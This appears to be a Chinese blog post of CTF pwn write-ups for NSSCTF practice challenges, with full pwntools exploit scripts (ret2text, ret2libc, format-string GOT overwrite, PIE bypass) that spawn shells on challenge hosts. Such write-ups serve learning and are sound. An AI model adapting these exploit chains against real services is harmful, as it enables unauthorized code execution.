【WP 0x01?】
buu的题那个梯度我觉得没啥意思,跑来NSS开刷,放个nss的网站先:
虽然水平已经超过了简单的栈题不少了,但是还是从头刷吧,毕竟很享受这种炸鱼和全绿的快感
然后nss上面题的顺序很怪异,我是按照第一个点进去之后下一个题的形式刷的,我也不知道后续看我博客的人是怎么个刷法,所以题名边上我挂个id吧,顺序我也不管了
0x01 nc id389
su开启root权限然后catflag,后面看了下题解还有python绕过的方法,咱也不知道哪个是预期
0x02 gift id390
简单的ret2text,exp写完忘存了..
0x03 whitegive id391
ret2libc,这题searcher不太好使,不知道为什么,很烦人
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node2.anna.nssctf.cn",28101)
#r=process("./nss2")
elf=ELF("./nss3")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln_addr=0x4006ba
rdi_ret=0x400763
payload1=b'a'*0x18+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
r.sendline(payload1)
puts_addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("puts="+hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+0x18ce57
payload2=b'a'*0x18+p64(rdi_ret)+p64(binsh_addr)+p64(sys_addr)
r.sendline(payload2)
r.interactive()
0x04 [CISCN 2019华北]PWN1 id100
简单的覆写,👴8想🍼+
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28070)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
payload=b'a'*0x2c+p32(0x41348000)
r.sendline(payload)
r.interactive()
0x05 NSS_printer_I id392
什么jb玩意,不够溢出,但是栈上有基址和脏数据可以泄露libc
然后got表劫持,改printf为system输入binsh
我为什么骂呢,因为拿工具写必须得写一个write_size='short',限制逐byte写,不加就写不进去,但是完事之后看别的exp有的也能写,不知道为什么但怀疑可能是2.23libc的事,有点闹心
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28737)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
r.recvuntil("say: ")
r.sendline("%21$p-%25$p")
r.recvuntil("said:")
main=int(r.recv(14),16)-240
print("main="+hex(main))
r.recvuntil("-")
base=int(r.recv(14),16)-0xa14
print("base="+hex(base))
printf_got=base+elf.got["printf"]
libc=LibcSearcher("__libc_start_main",main)
libc_base=main-libc.dump("__libc_start_main")
sysaddr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
payload1=fmtstr_payload(6,{printf_got:sysaddr},write_size='short')
r.sendline(payload1)
r.sendline(b'/bin/sh\x00')
r.interactive()
0x06 [BJDCTF 2020]babystack2.0 id709
跑的时候直接报段错误,甚至连pwntools的elf都出错,8懂
但是题本身就是一个简单的整数溢出,输入一个负数之后下面的无符号转换可以转换出一个巨大的数去ret2text,
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28868)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
backdoor=0x400726
r.sendline("-1")
payload=b'a'*0x18+p64(backdoor)
r.sendline(payload)
r.interactive()
0x07 [NISACTF 2022]ReorPwn? id2158
hhhhh这个题确实好玩,不想放解题过程了,确实是repwn
看懂逻辑的估计也不用exp,随便就做出来了,逻辑也不是很难懂,真滴好玩

0x08 [BJDCTF 2020]babystack id705
能控制溢出长度的ret2️⃣text
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('node4.anna.nssctf.cn',28212)
backdoor = 0x04006EA
payload = b'a' * 0x18 + p64(backdoor)
r.sendlineafter('name:\n','-1')
r.sendlineafter('name?',payload)
r.interactive()
0x09 [BJDCTF 2020]babyrouter id706
进去乍一看一堆case还以为什么堆题,结果看到个system,得

疑似拿不了shell,那就cat吧
0x0a [BJDCTF 2020]dizzy id710
什么JB怪题,又是类似于repwn的那么个东西,看懂指针和逻辑,能看出来只经过了一次+114514的加密,但是要通过u32去发送,感觉很怪,查来查去看了一遍也不是很完全懂,贴个exp算了
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28013)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def getaddr64():
u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))
def getaddr32():
u32(r.recv(4))
def dbg():
gdb.attach(r)
pause()
flag="PvvN| 1S S0 GREAT!;/bin/sh\x00\x00"
for i in range(7):
a= i * 4
r.sendline(str(u32(flag[a:a+4])-114514))
for i in range(13):
r.sendline("2224252424")
r.interactive()
0x0b [HNCTF 2022 Week1]easync id2928
有丶意思,8是普通的nc题,有点看linux命令的运用了,考虑收编
会用cd和ls就好:

先到这,后续刷的题都放在这,遇到什么好题也放在这个合集里面,to be continued
0x0c Yukkurisay(2023hgameweek2)
放这个题之前说个一两句题外话,之前拿hexo搭了一个静态博客,结果不知道为什么崩掉了然后我搬到了博客园,把之前花过一些时间研究的第一道非栈格式化字符串放到这里吧

首先检查保护,看到开了canary和NX。
然后进ida,源码:

首先是输入一串东西,然后用print_str函数打印了一个yukkuri和输入的这个buf,此时的buf在栈上。
在退出yukkuri这个系统之后找到了可以利用的格式化字符串,但是这个str在bss段(非栈上)
然后我的第一个想法来了,先用上面的buf布栈,再用下面的str查看是第几个参数,发现是第8个(这个过程我就不放图了)
又因为这个题是开启了部分RELRO,我们可以修改got表,所以我的想法是将printf的got直接改成system,再手动输入/bin/sh来getshell。
思路实现
- 首先我们要找到system地址,也就是泄露libc,但是又因为开了canary,所以思路是找到栈上的脏数据(IOstderr)去找到libc版本
- 泄露到libc版本的同时也要将栈地址泄露出来,因为后续格式化字符串写完地址之后要返回到下面的gift处,所以格式化字符串也要顺路修改返回地址
- 然后就是布栈等等过程,先一步步来
Exploit

payload1=b'a'*0x97+b'b'*0x01
r.sendafter('What would you like to let Yukkri say?',payload1)
r.recvuntil(b'b')
IOstderr_libc=u64(r.recv(6).ljust(8,b"\x00"))
print(hex(IOstderr_libc))
看图可以找到脏数据的地址并泄露,栈地址也在图中可以找到,同理我就不放泄露栈的代码了
这里要注意就是要顺序泄露地址,因为输入就是输入了,不会再复原脏数据。
布栈
上面分析的时候说过,我们要把要修改的东西先利用循环里的buf放到栈里,所以我们这里先想想要修改些什么:print的got表地址,返回地址;
返回地址方面,看一下ida,只需要修改两个字节就可以了,got表地址这里我们只需要修改三个字节(libc偏移只包括后三个字节)
所以栈实际上应该布置成这样:
payload3=p64(pri_got)+p64(stack_addr+0x118)+p64(pri_got+1)
pri_got是printf的got表地址,第二个是返回地址,第三个+1是因为小端序,低位保存在低地址,+1直接把最后一个字节推走,留下我们需要修改的printf的got表的低二三字节。
这里还涉及一个问题就是格式化字符串修改地址的时候根据%n,但是:
- %n这个东西是从小到大的
- 三个字节我们需要修改两次,一次是hhn一个字节,一次是hn两个字节
根据ida,我们要把返回地址0x40170e改成401671,所以要修改两个字节,顺序就出来了:
1、首先是system的低1字节
2、170e->1671(system二三字节比1671大的可能性很高)
3、system的二三字节
综上,布栈完毕。
fmt修改
r.sendlineafter('else?(Y/n)',b'n')
print(hex(system_addr))
sys1=system_addr&0xff
sys2=(system_addr>>8)&0xffff
gift_addr=gift&0xffff
payload4='%'+str(sys1)+'c%8$hhn'+'%'+str((gift_addr)-(sys1))+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'
r.sendlineafter('gift for you: \n',payload4)
首先退出循环,用与运算将各字节数据拿出来,然后用str字符串往栈里写。
为什么要减去,因为每次格式化字符串写的时候是包括前面的,而且我们也只有一次机会去写入。
贴个效果图:

左边system和右边对照,改成,本地打通。
这里我时不时会遇到没改对也能打通的情况,好像原因是因为我断点打的有点问题?
总之思路是这样没什么问题,下面放一个完整的exp:
from pwn import *
context(arch='amd64',os='linux')
r=process('./fmt')
elf=ELF('fmt')
payload1=b'a'*0x97+b'b'*0x01
r.sendafter('What would you like to let Yukkri say?',payload1)
r.recvuntil(b'b')
IOstderr_libc=u64(r.recv(6).ljust(8,b"\x00"))
print(hex(IOstderr_libc))
IOstderr_offset=0x21a6a0
libc_base=IOstderr_libc-IOstderr_offset
print(hex(libc_base))
system_offset=0x050d60
system_addr=libc_base+system_offset
payload2=b'a'*0xff+b'c'*0x01
r.sendlineafter('else?(Y/n)',b'y')
r.send(payload2)
r.recvuntil(b'c')
stack_addr=u64(r.recv(6).ljust(8,b'\x00'))-0x120
success('stack_addr:'+hex(stack_addr))
r.sendlineafter('else?(Y/n)',b'y')
pri_got=elf.got['printf']
payload3=p64(pri_got)+p64(stack_addr+280)+p64(pri_got+1)
r.send(payload3)
gift=0x401671
r.sendlineafter('else?(Y/n)',b'n')
print("system_addr="+hex(system_addr))
sys1=system_addr&0xff
sys2=(system_addr>>8)&0xffff
gift_addr=gift&0xffff
payload4='%'+str(sys1)+'c%8$hhn'+'%'+str((gift_addr)-(sys1))+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'
r.sendlineafter('gift for you: \n',payload4)
gdb.attach(r)
pause()
sleep(0.5)
r.sendline(b'/bin/sh\x00')
r.interactive()
0x0d [NISACTF 2022]ezstack id2057
确实ezstack,ret2text,找个字符串的事
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./babyof")
r=remote("node4.anna.nssctf.cn",28872)
elf=ELF("./babyof")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def getaddr64():
u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))
def getaddr32():
u32(r.recv(4))
def dbg():
gdb.attach(r)
pause()
dead=0xdeadbeaf
sysaddr=0x08048390
binshaddr=0x0804a024
payload=b'otto'*17+p32(sysaddr)+p32(dead)+p32(binshaddr)
rcvtil("NISACTF\n")
sl(payload)
r.interactive()
0x0e [2021 鹤城杯]babyof id469
简单的ret2libc,有输出函数,retlibc3️⃣
哦还有个不咋简单的地方,就是最后一次payload要加个ret对齐,这个问题可以自行拿Ubuntu18+去调+动用搜索引擎解决(感觉有点不负责,但是还是调的好
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=process("./babyof")
#r=remote("node4.anna.nssctf.cn",28605)
elf=ELF("./babyof")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def dbg():
gdb.attach(r)
pause()
putsplt=elf.plt["puts"]
putsgot=elf.got["puts"]
vulnaddr=0x400632
rdiret=0x400743
ret=0x400506
rcvtil("overflow?")
payload1=b'a'*0x48+p64(rdiret)+p64(putsgot)+p64(putsplt)+p64(vulnaddr)
sl(payload1)
rcvtil("win")
putsaddr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("putsaddr="+hex(putsaddr))
libc=LibcSearcher("puts",putsaddr)
libc_base=putsaddr-libc.dump("puts")
sysaddr=libc_base+libc.dump("system")
binshaddr=libc_base+libc.dump("str_bin_sh")
payload2=b'a'*0x48+p64(ret)+p64(rdiret)+p64(binshaddr)+p64(sysaddr)+p64(0xdeadbeaf)
sl(payload2)
dbg()
r.interactive()
0x0f [NISACTF 2022]ezpie id2059
最基础的pie保护利用,所以什么是pie就稍微调用一下搜索引擎吧
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./nss")
r=remote("node1.anna.nssctf.cn",28898)
elf=ELF("./nss")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def dbg():
gdb.attach(r)
pause()
rcvtil("0x")
mainaddr=int(r.recv(8),16)
print("mainaddr="+hex(mainaddr))
pie_base=mainaddr-0x770
shelladdr=pie_base+0x80f
payload=b'a'*0x2c+p32(shelladdr)
sl(payload)
r.interactive()
0x10 [GFCTF 2021]where_is_shell id889
特殊的ret2text,新知识点1是shell可以让参数为$0,2是可以找代表$0的操作码(24 30)
去ida翻一下吧,tips里面有的OvO
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./nss")
r=remote("node2.anna.nssctf.cn",28217)
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def dbg():
gdb.attach(r)
pause()
ret=0x400416
rdiret=0x4005e3
shell=0x400541
sysaddr=elf.plt["system"]
payload=b'a'*0x18+p64(ret)+p64(rdiret)+p64(shell)+p64(sysaddr)
sl(payload)
r.interactive()
0x11 [watevrCTF 2019]Voting Machine 1 id85
看起来复杂的txet2ter
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
#r=process("./nss")
r=remote("node2.anna.nssctf.cn",28217)
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def dbg():
gdb.attach(r)
pause()
payload=b'a'*0x0a+p64(0x400807)
sl(payload)
r.interactive()
稍微锤一下我自己,没啥用的模板套了好多行🔨
0x12 [CISCN 2019东北]PWN2 id95
看这博客的估计没人没做过这题吧..本人直接复制exp了,做太多遍懒得做了
总结
5.30到这应该把第一页的都放这了,准备开个新的放第二页的题吧那就

浙公网安备 33010602011771号